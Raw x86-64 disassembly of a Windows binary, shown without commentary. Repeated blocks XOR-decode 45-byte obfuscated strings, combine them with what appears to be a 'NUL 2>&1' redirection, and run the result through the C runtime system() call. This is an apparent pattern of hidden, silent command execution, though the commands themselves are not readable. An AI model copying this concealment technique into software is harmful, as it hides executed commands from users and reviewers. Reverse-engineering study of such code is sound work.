shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003e2e0
cmp r8d, 0x2d
jge 0x14003e413
movsxd rax, r8d
lea r9, [rbp + 0x1110]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003e3e0
mov r8, r10
lea rdx, [rbp + 0x1110]
lea rcx, [rbp + 0x2ce0]
call fcn.14004c390
nop
lea r8, [0x1400cec80]
mov rdx, rax
lea rcx, [rbp + 0x2cc0]
call fcn.14004c130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2ca0]
call fcn.14004c200
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2c80]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2c80]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2ca0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2cc0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2ce0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2d00]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2d20]
call fcn.14004b800
lea rcx, [rbp + 0x1b40]
call fcn.14003a760
mov rbx, rax
lea rcx, [rbp + 0x1b20]
call fcn.14003a760
mov r10, rax
movups xmm0, xmmword [0x1400cf850]
movups xmmword [rbp + 0x10e0], xmm0
movups xmm1, xmmword [0x1400cf860]
movups xmmword [rbp + 0x10f0], xmm1
movsd xmm0, qword [0x1400cf870]
movsd qword [rbp + 0x1100], xmm0
mov ecx, dword [0x1400cf878]
mov dword [rbp + 0x1108], ecx
movzx eax, byte [0x1400cf87c]
mov byte [rbp + 0x110c], al
mov r8d, edi
cmp esi, 2
jl 0x14003e643
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x10e4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003e550
cmp r8d, 0x2d
jge 0x14003e683
movsxd rax, r8d
lea r9, [rbp + 0x10e0]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003e650
mov r8, r10
lea rdx, [rbp + 0x10e0]
lea rcx, [rbp + 0x1b00]
call fcn.14004c390
nop
lea r8, [0x1400cec80]
mov rdx, rax
lea rcx, [rbp + 0x1ae0]
call fcn.14004c130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1ac0]
call fcn.14004c200
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1aa0]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1aa0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1ac0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1ae0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1b00]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1b20]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1b40]
call fcn.14004b800
lea rcx, [rbp + 0x1c00]
call fcn.14003a760
mov rbx, rax
lea rcx, [rbp + 0x1be0]
call fcn.14003a760
mov r10, rax
movups xmm0, xmmword [0x1400d1040]
movups xmmword [rbp + 0x10b0], xmm0
movups xmm1, xmmword [0x1400d1050]
movups xmmword [rbp + 0x10c0], xmm1
movsd xmm0, qword [0x1400d1060]
movsd qword [rbp + 0x10d0], xmm0
mov ecx, dword [0x1400d1068]
mov dword [rbp + 0x10d8], ecx
movzx eax, byte [0x1400d106c]
mov byte [rbp + 0x10dc], al
mov r8d, edi
cmp esi, 2
jl 0x14003e8b3
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x10b4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003e7c0
cmp r8d, 0x2d
jge 0x14003e8f3
movsxd rax, r8d
lea r9, [rbp + 0x10b0]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003e8c0
mov r8, r10
lea rdx, [rbp + 0x10b0]
lea rcx, [rbp + 0x1bc0]
call fcn.14004c390
nop
lea r8, [0x1400cec80]
mov rdx, rax
lea rcx, [rbp + 0x1ba0]
call fcn.14004c130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1b80]
call fcn.14004c200
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1b60]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1b60]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1b80]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1ba0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1bc0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1be0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1c00]
call fcn.14004b800
lea rcx, [rbp + 0x1cc0]
call fcn.14003a760
mov rbx, rax
lea rcx, [rbp + 0x1ca0]
call fcn.14003a760
mov r10, rax
movups xmm0, xmmword [0x1400cf980]
movups xmmword [rbp + 0x1080], xmm0
movups xmm1, xmmword [0x1400cf990]
movups xmmword [rbp + 0x1090], xmm1
movsd xmm0, qword [0x1400cf9a0]
movsd qword [rbp + 0x10a0], xmm0
mov ecx, dword [0x1400cf9a8]
mov dword [rbp + 0x10a8], ecx
movzx eax, byte [0x1400cf9ac]
mov byte [rbp + 0x10ac], al
mov r8d, edi
cmp esi, 2
jl 0x14003eb23
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x1084]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003ea30
cmp r8d, 0x2d
jge 0x14003eb63
movsxd rax, r8d
lea r9, [rbp + 0x1080]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003eb30
mov r8, r10
lea rdx, [rbp + 0x1080]
lea rcx, [rbp + 0x1c80]
call fcn.14004c390
nop
lea r8, [0x1400cec80]
mov rdx, rax
lea rcx, [rbp + 0x1c60]
call fcn.14004c130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1c40]
call fcn.14004c200
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1c20]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1c20]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1c40]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1c60]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1c80]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1ca0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1cc0]
call fcn.14004b800
lea rcx, [rbp + 0x1d80]
call fcn.14003a760
mov rbx, rax
lea rcx, [rbp + 0x1d60]
call fcn.14003a760
mov r10, rax
movups xmm0, xmmword [0x1400cfd48]
movups xmmword [rbp + 0xcf0], xmm0
movups xmm1, xmmword [0x1400cfd58]
movups xmmword [rbp + 0xd00], xmm1
movsd xmm0, qword [0x1400cfd68]
movsd qword [rbp + 0xd10], xmm0
mov ecx, dword [0x1400cfd70]
mov dword [rbp + 0xd18], ecx
movzx eax, byte [0x1400cfd74]
mov byte [rbp + 0xd1c], al
mov r8d, edi
cmp esi, 2
jl 0x14003ed93
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xcf4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003eca0
cmp r8d, 0x2d
jge 0x14003edd3
movsxd rax, r8d
lea r9, [rbp + 0xcf0]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003eda0
mov r8, r10
lea rdx, [rbp + 0xcf0]
lea rcx, [rbp + 0x1d40]
call fcn.14004c390
nop
lea r8, [0x1400cec80]
mov rdx, rax
lea rcx, [rbp + 0x1d20]
call fcn.14004c130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1d00]
call fcn.14004c200
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1ce0]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1ce0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1d00]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1d20]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1d40]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1d60]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1d80]
call fcn.14004b800
lea rcx, [rbp + 0x1e40]
call fcn.14003a760
mov rbx, rax
lea rcx, [rbp + 0x1e20]
call fcn.14003a760
mov r10, rax
movups xmm0, xmmword [0x1400d0bb8]
movups xmmword [rbp + 0xf60], xmm0
movups xmm1, xmmword [0x1400d0bc8]
movups xmmword [rbp + 0xf70], xmm1
movsd xmm0, qword [0x1400d0bd8]
movsd qword [rbp + 0xf80], xmm0
mov ecx, dword [0x1400d0be0]
mov dword [rbp + 0xf88], ecx
movzx eax, byte [0x1400d0be4]
mov byte [rbp + 0xf8c], al
mov r8d, edi
cmp esi, 2
jl 0x14003f003
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xf64]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003ef10
cmp r8d, 0x2d
jge 0x14003f043
movsxd rax, r8d
lea r9, [rbp + 0xf60]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003f010
mov r8, r10
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1e00]
call fcn.14004c390
nop
lea r8, [0x1400cec80]
mov rdx, rax
lea rcx, [rbp + 0x1de0]
call fcn.14004c130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1dc0]
call fcn.14004c200
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1da0]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1da0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1dc0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1de0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1e00]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1e20]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1e40]
call fcn.14004b800
lea rcx, [rbp + 0x1f00]
call fcn.14003a760
mov rbx, rax
lea rcx, [rbp + 0x1ee0]
call fcn.14003a760
mov r10, rax
movups xmm0, xmmword [0x1400d17f0]
movups xmmword [rbp + 0xfc0], xmm0
movups xmm1, xmmword [0x1400d1800]
movups xmmword [rbp + 0xfd0], xmm1
movsd xmm0, qword [0x1400d1810]
movsd qword [rbp + 0xfe0], xmm0
mov ecx, dword [0x1400d1818]
mov dword [rbp + 0xfe8], ecx
movzx eax, byte [0x1400d181c]
mov byte [rbp + 0xfec], al
mov r8d, edi
cmp esi, 2
jl 0x14003f273
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xfc4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003f180
cmp r8d, 0x2d
jge 0x14003f2b3
movsxd rax, r8d
lea r9, [rbp + 0xfc0]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003f280
mov r8, r10
lea rdx, [rbp + 0xfc0]
lea rcx, [rbp + 0x1ec0]
call fcn.14004c390
nop
lea r8, [0x1400cec80]
mov rdx, rax
lea rcx, [rbp + 0x1ea0]
call fcn.14004c130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1e80]
call fcn.14004c200
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1e60]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1e60]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1e80]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1ea0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1ec0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1ee0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1f00]
call fcn.14004b800
lea rcx, [rbp + 0x1fc0]
call fcn.14003a760
mov rbx, rax
lea rcx, [rbp + 0x1fa0]
call fcn.14003a760
mov r10, rax
movups xmm0, xmmword [0x1400d1820]
movups xmmword [rbp + 0xf00], xmm0
movups xmm1, xmmword [0x1400d1830]
movups xmmword [rbp + 0xf10], xmm1
movsd xmm0, qword [0x1400d1840]
movsd qword [rbp + 0xf20], xmm0
mov ecx, dword [0x1400d1848]
mov dword [rbp + 0xf28], ecx
movzx eax, byte [0x1400d184c]
mov byte [rbp + 0xf2c], al
mov r8d, edi
cmp esi, 2
jl 0x14003f4e3
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xf04]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003f3f0
cmp r8d, 0x2d
jge 0x14003f523
movsxd rax, r8d
lea r9, [rbp + 0xf00]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003f4f0
mov r8, r10
lea rdx, [rbp + 0xf00]
lea rcx, [rbp + 0x1f80]
call fcn.14004c390
nop
lea r8, [0x1400cec80]
mov rdx, rax
lea rcx, [rbp + 0x1f60]
call fcn.14004c130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1f40]
call fcn.14004c200
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1f20]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1f20]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1f40]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1f60]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1f80]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1fa0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1fc0]
call fcn.14004b800
lea rcx, [rbp + 0x2080]
call fcn.14003a760
mov rbx, rax
lea rcx, [rbp + 0x2060]
call fcn.14003a760
mov r10, rax
movups xmm0, xmmword [0x1400d0ad8]
movups xmmword [rbp + 0xed0], xmm0
movups xmm1, xmmword [0x1400d0ae8]
movups xmmword [rbp + 0xee0], xmm1
movsd xmm0, qword [0x1400d0af8]
movsd qword [rbp + 0xef0], xmm0
mov ecx, dword [0x1400d0b00]
mov dword [rbp + 0xef8], ecx
movzx eax, byte [0x1400d0b04]
mov byte [rbp + 0xefc], al
mov r8d, edi
cmp esi, 2
jl 0x14003f753
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xed4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
